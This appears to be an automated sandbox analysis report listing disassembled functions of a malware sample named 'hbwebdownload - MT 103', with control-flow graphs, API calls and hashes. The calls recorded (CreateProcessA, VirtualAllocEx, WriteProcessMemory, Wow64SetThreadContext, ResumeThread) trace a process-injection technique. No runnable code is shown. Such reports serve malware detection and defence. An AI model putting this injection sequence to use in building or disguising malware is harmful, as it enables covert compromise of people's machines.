                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateProcess
                                                                                                                                                                                    • String ID: LI:/$LI:/
                                                                                                                                                                                    • API String ID: 963392458-103041962
                                                                                                                                                                                    • Opcode ID: 6c0f69991d8a365e749b77d36b0664821798edd032913ad44a9916d71b09316a
                                                                                                                                                                                    • Instruction ID: fd84329c7babcabde1e130e7c2759d46ee2b2c86d15ac7d304c31dead089a250
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6c0f69991d8a365e749b77d36b0664821798edd032913ad44a9916d71b09316a
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0DA16EB1D0025ACFEB20CF68C8457EEBBB2FF45314F14856AD819A7240DB749A85CF92
                                                                                                                                                                                    Function 07564BB0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243processCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 396 7564bb0-7564c45 398 7564c47-7564c51 396->398 399 7564c7e-7564c9e 396->399 398->399 400 7564c53-7564c55 398->400 406 7564cd7-7564d06 399->406 407 7564ca0-7564caa 399->407 401 7564c57-7564c61 400->401 402 7564c78-7564c7b 400->402 404 7564c65-7564c74 401->404 405 7564c63 401->405 402->399 404->404 408 7564c76 404->408 405->404 415 7564d3f-7564df9 CreateProcessA 406->415 416 7564d08-7564d12 406->416 407->406 409 7564cac-7564cae 407->409 408->402 410 7564cb0-7564cba 409->410 411 7564cd1-7564cd4 409->411 413 7564cbe-7564ccd 410->413 414 7564cbc 410->414 411->406 413->413 417 7564ccf 413->417 414->413 427 7564e02-7564e88 415->427 428 7564dfb-7564e01 415->428 416->415 418 7564d14-7564d16 416->418 417->411 420 7564d18-7564d22 418->420 421 7564d39-7564d3c 418->421 422 7564d26-7564d35 420->422 423 7564d24 420->423 421->415 422->422 425 7564d37 422->425 423->422 425->421 438 7564e8a-7564e8e 427->438 439 7564e98-7564e9c 427->439 428->427 438->439 440 7564e90 438->440 441 7564e9e-7564ea2 439->441 442 7564eac-7564eb0 439->442 440->439 441->442 443 7564ea4 441->443 444 7564eb2-7564eb6 442->444 445 7564ec0-7564ec4 442->445 443->442 444->445 446 7564eb8 444->446 447 7564ed6-7564edd 445->447 448 7564ec6-7564ecc 445->448 446->445 449 7564ef4 447->449 450 7564edf-7564eee 447->450 448->447 452 7564ef5 449->452 450->449 452->452
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07564DE6
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateProcess
                                                                                                                                                                                    • String ID: LI:/$LI:/
                                                                                                                                                                                    • API String ID: 963392458-103041962
                                                                                                                                                                                    • Opcode ID: 10490e0042d043d7e6df24c01e7748e98ed19d1ea48ca80bd92408112a59cee6
                                                                                                                                                                                    • Instruction ID: 82883d56e8b861c23536682f1e4add410a724e6d52d47faf6c9ec4bdaa421fa3
                                                                                                                                                                                    • Opcode Fuzzy Hash: 10490e0042d043d7e6df24c01e7748e98ed19d1ea48ca80bd92408112a59cee6
                                                                                                                                                                                    • Instruction Fuzzy Hash: 09915FB1D0025ACFEB20CF68C8457DEBBB2FF45314F14856AD819A7240DB749A85CF92
                                                                                                                                                                                    Function 0156ADA8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 199COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 553 156ada8-156adb7 554 156ade3-156ade7 553->554 555 156adb9-156adc6 call 156a0cc 553->555 557 156adfb-156ae3c 554->557 558 156ade9-156adf3 554->558 562 156addc 555->562 563 156adc8 555->563 564 156ae3e-156ae46 557->564 565 156ae49-156ae57 557->565 558->557 562->554 608 156adce call 156b040 563->608 609 156adce call 156b030 563->609 564->565 566 156ae7b-156ae7d 565->566 567 156ae59-156ae5e 565->567 569 156ae80-156ae87 566->569 570 156ae60-156ae67 call 156a0d8 567->570 571 156ae69 567->571 568 156add4-156add6 568->562 572 156af18-156afd8 568->572 574 156ae94-156ae9b 569->574 575 156ae89-156ae91 569->575 576 156ae6b-156ae79 570->576 571->576 603 156afe0-156b00b GetModuleHandleW 572->603 604 156afda-156afdd 572->604 579 156ae9d-156aea5 574->579 580 156aea8-156aeaa call 156a0e8 574->580 575->574 576->569 579->580 582 156aeaf-156aeb1 580->582 584 156aeb3-156aebb 582->584 585 156aebe-156aec3 582->585 584->585 586 156aec5-156aecc 585->586 587 156aee1-156aeee 585->587 586->587 589 156aece-156aede call 156a0f8 call 156a108 586->589 594 156aef0-156af0e 587->594 595 156af11-156af17 587->595 589->587 594->595 605 156b014-156b028 603->605 606 156b00d-156b013 603->606 604->603 606->605 608->568 609->568
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • GetModuleHandleW.KERNELBASE(00000000), ref: 0156AFFE
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: HandleModule
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 4139908857-28667382
                                                                                                                                                                                    • Opcode ID: b4d0fa4e58fe2afbbe442ce9914a0e9507ad0a5f2c61efb56de60688bec7c479
                                                                                                                                                                                    • Instruction ID: 1293f9fe46a5f66e83ae77ca66f17c4835d77ab67a15ada9697467ec475e7367
                                                                                                                                                                                    • Opcode Fuzzy Hash: b4d0fa4e58fe2afbbe442ce9914a0e9507ad0a5f2c61efb56de60688bec7c479
                                                                                                                                                                                    • Instruction Fuzzy Hash: FC814670A00B058FD724DF29D45079ABBF9FF88310F108A2DD48AEBA41D775E949CB90
                                                                                                                                                                                    Function 0156590C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 610 156590c-1565913 611 156591c-15659d9 CreateActCtxA 610->611 613 15659e2-1565a3c 611->613 614 15659db-15659e1 611->614 621 1565a3e-1565a41 613->621 622 1565a4b-1565a4f 613->622 614->613 621->622 623 1565a60 622->623 624 1565a51-1565a5d 622->624 626 1565a61 623->626 624->623 626->626
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • CreateActCtxA.KERNEL32(?), ref: 015659C9
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Create
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 2289755597-28667382
                                                                                                                                                                                    • Opcode ID: ac759f5ee8243dc0bc78516bbf809269492cb576acd532e6bed86c4c36c27f52
                                                                                                                                                                                    • Instruction ID: 4e2c55de8737358df4a0cd9593947330831505be5febe16175c9d87a313ced82
                                                                                                                                                                                    • Opcode Fuzzy Hash: ac759f5ee8243dc0bc78516bbf809269492cb576acd532e6bed86c4c36c27f52
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9541DFB0C00719CBEB24DFAAC8847CDBBF5BF48304F20805AD419AB251DB71698ACF91
                                                                                                                                                                                    Function 015644B4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 627 15644b4-15659d9 CreateActCtxA 630 15659e2-1565a3c 627->630 631 15659db-15659e1 627->631 638 1565a3e-1565a41 630->638 639 1565a4b-1565a4f 630->639 631->630 638->639 640 1565a60 639->640 641 1565a51-1565a5d 639->641 643 1565a61 640->643 641->640 643->643
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • CreateActCtxA.KERNEL32(?), ref: 015659C9
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Create
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 2289755597-28667382
                                                                                                                                                                                    • Opcode ID: 5b02657786008ee04fb2ebc4bcf28a0ade15d05735ff77ed78bc7bbd796da049
                                                                                                                                                                                    • Instruction ID: 2ce194774b427cc73afceb3bc52d766f8c879f3fedf014c473abe9029d1849c8
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5b02657786008ee04fb2ebc4bcf28a0ade15d05735ff77ed78bc7bbd796da049
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2041D0B0C10719CBDB24DFAAC884A9EBBF5BF49304F20806AD509AB251DB716949CF91
                                                                                                                                                                                    Function 07564920 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75injectionCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 644 7564920-7564976 647 7564986-75649c5 WriteProcessMemory 644->647 648 7564978-7564984 644->648 650 75649c7-75649cd 647->650 651 75649ce-75649fe 647->651 648->647 650->651
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 075649B8
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MemoryProcessWrite
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 3559483778-28667382
                                                                                                                                                                                    • Opcode ID: 12f86b877da1645fd89cd097f67c6306a44715c83f0e59c06ca02d169b3baa09
                                                                                                                                                                                    • Instruction ID: b8571982e5c3c9519b20a9ce6d123944e40bff4f9d372ad4ae7c71b650ec2b64
                                                                                                                                                                                    • Opcode Fuzzy Hash: 12f86b877da1645fd89cd097f67c6306a44715c83f0e59c06ca02d169b3baa09
                                                                                                                                                                                    • Instruction Fuzzy Hash: 042148B5D003499FCB10CFA9C885BEEBBF5FF48320F10842AE919A7240D7789951CBA1
                                                                                                                                                                                    Function 07564928 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69injectionCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 655 7564928-7564976 657 7564986-75649c5 WriteProcessMemory 655->657 658 7564978-7564984 655->658 660 75649c7-75649cd 657->660 661 75649ce-75649fe 657->661 658->657 660->661
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 075649B8
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MemoryProcessWrite
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 3559483778-28667382
                                                                                                                                                                                    • Opcode ID: 39e01c0606dce25bd7ca389a5e31c0b0bf892496a162042022934f024d0cc33f
                                                                                                                                                                                    • Instruction ID: bbb9d8f89d81b25a5b0b9457a62835aca72a5377177e7957052636f42cf5c9dc
                                                                                                                                                                                    • Opcode Fuzzy Hash: 39e01c0606dce25bd7ca389a5e31c0b0bf892496a162042022934f024d0cc33f
                                                                                                                                                                                    • Instruction Fuzzy Hash: 272127B5D003599FCB10CFA9C885BDEBBF5FF48310F10842AE959A7240D7789955CBA1
                                                                                                                                                                                    Function 07564A10 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 665 7564a10-7564aa5 ReadProcessMemory 669 7564aa7-7564aad 665->669 670 7564aae-7564ade 665->670 669->670
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07564A98
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MemoryProcessRead
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 1726664587-28667382
                                                                                                                                                                                    • Opcode ID: 8b52ba381887dc2fe28d2cc0c34c0458a64e4955b5404408116b6971df9f2c00
                                                                                                                                                                                    • Instruction ID: fa26f14ea09589a8868c5960fab3423fc2882a8f66fdc2c3e84ab3ef5df4d96b
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8b52ba381887dc2fe28d2cc0c34c0458a64e4955b5404408116b6971df9f2c00
                                                                                                                                                                                    • Instruction Fuzzy Hash: E1214AB1D003599FCB10CFAAC885AEEFBF5FF48320F10842AE559A7250CB359945CBA5
                                                                                                                                                                                    Function 07564351 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66threadCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 674 7564351-75643a3 676 75643a5-75643b1 674->676 677 75643b3-75643e3 Wow64SetThreadContext 674->677 676->677 679 75643e5-75643eb 677->679 680 75643ec-756441c 677->680 679->680
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 075643D6
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ContextThreadWow64
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 983334009-28667382
                                                                                                                                                                                    • Opcode ID: 03755255bf87bbea1355ea782a3770f37ec7af449322165b4c77b8f3464c8cdd
                                                                                                                                                                                    • Instruction ID: 3737da2f3501c87217e6434e713504cad1e422599c86e76f12dbc3a39b5c625d
                                                                                                                                                                                    • Opcode Fuzzy Hash: 03755255bf87bbea1355ea782a3770f37ec7af449322165b4c77b8f3464c8cdd
                                                                                                                                                                                    • Instruction Fuzzy Hash: 902137B1D0020A8FDB10DFAAC4857EEBBF4FF88324F24842AD459A7240C7789945CFA1
                                                                                                                                                                                    Function 0156D689 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 684 156d689-156d724 DuplicateHandle 685 156d726-156d72c 684->685 686 156d72d-156d74a 684->686 685->686
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0156D717
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: DuplicateHandle
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 3793708945-28667382
                                                                                                                                                                                    • Opcode ID: 24d6645ef65794ad47cd19eedd3659bfe6a326b0197273bb298823cd8aaac960
                                                                                                                                                                                    • Instruction ID: f8c03fb324548c0827696a83a3cdc74708e7fa556780a2dd615d83d1bfc1dab5
                                                                                                                                                                                    • Opcode Fuzzy Hash: 24d6645ef65794ad47cd19eedd3659bfe6a326b0197273bb298823cd8aaac960
                                                                                                                                                                                    • Instruction Fuzzy Hash: 142105B5D002499FDB10CFAAD485AEEBFF4FB48310F14841AE958A3210C374A955CF61
                                                                                                                                                                                    Function 07564358 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63threadCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 075643D6
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ContextThreadWow64
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 983334009-28667382
                                                                                                                                                                                    • Opcode ID: f1299485a4c15ad219c9044f8e9865f6abf4fff42f5db7cc97e90eaa7f89ecae
                                                                                                                                                                                    • Instruction ID: e7d98ace7d3d68c50e1a7f382f3eb7f6b46b61294127f30ed835d509a12bf4ed
                                                                                                                                                                                    • Opcode Fuzzy Hash: f1299485a4c15ad219c9044f8e9865f6abf4fff42f5db7cc97e90eaa7f89ecae
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8D2107B5D003098FDB14DFAAC4857EEBBF4EB88364F14842AD459A7240C778A945CFA5
                                                                                                                                                                                    Function 07564A18 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07564A98
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MemoryProcessRead
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 1726664587-28667382
                                                                                                                                                                                    • Opcode ID: 733e3c359d5df4a507f5836da749602111f74ef5143b71f1f35e9af76e13fc47
                                                                                                                                                                                    • Instruction ID: f0e293981959736c54700362a70e240c1a7ee9baef54a089e569d76ec05a1cf1
                                                                                                                                                                                    • Opcode Fuzzy Hash: 733e3c359d5df4a507f5836da749602111f74ef5143b71f1f35e9af76e13fc47
                                                                                                                                                                                    • Instruction Fuzzy Hash: 742139B1D003599FCB10DFAAC885AEEFBF5FF48320F10842AE519A7240C7349941DBA5
                                                                                                                                                                                    Function 0156D690 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0156D717
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: DuplicateHandle
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 3793708945-28667382
                                                                                                                                                                                    • Opcode ID: c88c9b3b59b402a01dec4daa574f5b0db56f77f3370488bbae2197984683a403
                                                                                                                                                                                    • Instruction ID: 03406b515beea16dcb64d62e82371ba1279f0d1dc76b79f9ae34b1c6daf6dcde
                                                                                                                                                                                    • Opcode Fuzzy Hash: c88c9b3b59b402a01dec4daa574f5b0db56f77f3370488bbae2197984683a403
                                                                                                                                                                                    • Instruction Fuzzy Hash: B121E3B5D002499FDB10CF9AD984ADEBBF8FB48320F14841AE958A7210C378A954CFA5
                                                                                                                                                                                    Function 07563E68 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55threadCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ResumeThread
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 947044025-28667382
                                                                                                                                                                                    • Opcode ID: a2864228062965c64d6dff413ebeceac094100e9392d399cfb663c590c850847
                                                                                                                                                                                    • Instruction ID: 8ab30fcce073d4bd8d86cd2e9664b43f6da9308b137454be781aec7633d18020
                                                                                                                                                                                    • Opcode Fuzzy Hash: a2864228062965c64d6dff413ebeceac094100e9392d399cfb663c590c850847
                                                                                                                                                                                    • Instruction Fuzzy Hash: B41146B5D002498BCB20DFAAD4457EEFBF8EB88324F20841ED459A7240CB35A945CBA5
                                                                                                                                                                                    Function 07564860 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54memoryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 075648D6
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AllocVirtual
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 4275171209-28667382
                                                                                                                                                                                    • Opcode ID: 6c4be6096d09249ab7045fcea349dcec6772d3cae3b08364df8cbc142fb03f7e
                                                                                                                                                                                    • Instruction ID: e593562f903154776e0655995dda2008fdf53d9816f5d9e876b001fed857f349
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6c4be6096d09249ab7045fcea349dcec6772d3cae3b08364df8cbc142fb03f7e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 6F1186B5D002498FDB10CFAAC844BEEBFF5EF88320F24841AE429A7250C7759940CFA0
                                                                                                                                                                                    Function 07564868 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 075648D6
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AllocVirtual
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 4275171209-28667382
                                                                                                                                                                                    • Opcode ID: ddc898119e23518e6dc784e261ad4edadb2220b11e4c9e56cf0336ed9818b056
                                                                                                                                                                                    • Instruction ID: e2a355758e32a16188f844ccec30d444aaf8fe8bddff665c8044d04444c1f4fd
                                                                                                                                                                                    • Opcode Fuzzy Hash: ddc898119e23518e6dc784e261ad4edadb2220b11e4c9e56cf0336ed9818b056
                                                                                                                                                                                    • Instruction Fuzzy Hash: CB1156B5C002499FCB10DFAAC844AEEBFF5EB88320F208419E519A7250C735A950CBA1
                                                                                                                                                                                    Function 07563E70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49threadCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ResumeThread
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 947044025-28667382
                                                                                                                                                                                    • Opcode ID: d3aed143c84d32c558aeb61c8e5bdb14a34e16bbc1533b8e8c2dd321bea831df
                                                                                                                                                                                    • Instruction ID: 98ba7eaa6edf743cb3b4f270be3e057b83bdd6fb7af1f3355fa610441bf950cf
                                                                                                                                                                                    • Opcode Fuzzy Hash: d3aed143c84d32c558aeb61c8e5bdb14a34e16bbc1533b8e8c2dd321bea831df
                                                                                                                                                                                    • Instruction Fuzzy Hash: E11125B5D002498FCB20DFAAC4497EEFBF4EB88324F20841AD419A7240CB75A945CBA5
                                                                                                                                                                                    Function 07563204 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47windowCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • PostMessageW.USER32(?,00000010,00000000,?), ref: 0756797D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MessagePost
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 410705778-28667382
                                                                                                                                                                                    • Opcode ID: da6304912d88c420da65eafc31fc59f21842491e7c5356cb7569ece064c3e418
                                                                                                                                                                                    • Instruction ID: c5d23fca4e4da5e507afa06c05e4f307ed2f5e47c5643f781353bc5727265824
                                                                                                                                                                                    • Opcode Fuzzy Hash: da6304912d88c420da65eafc31fc59f21842491e7c5356cb7569ece064c3e418
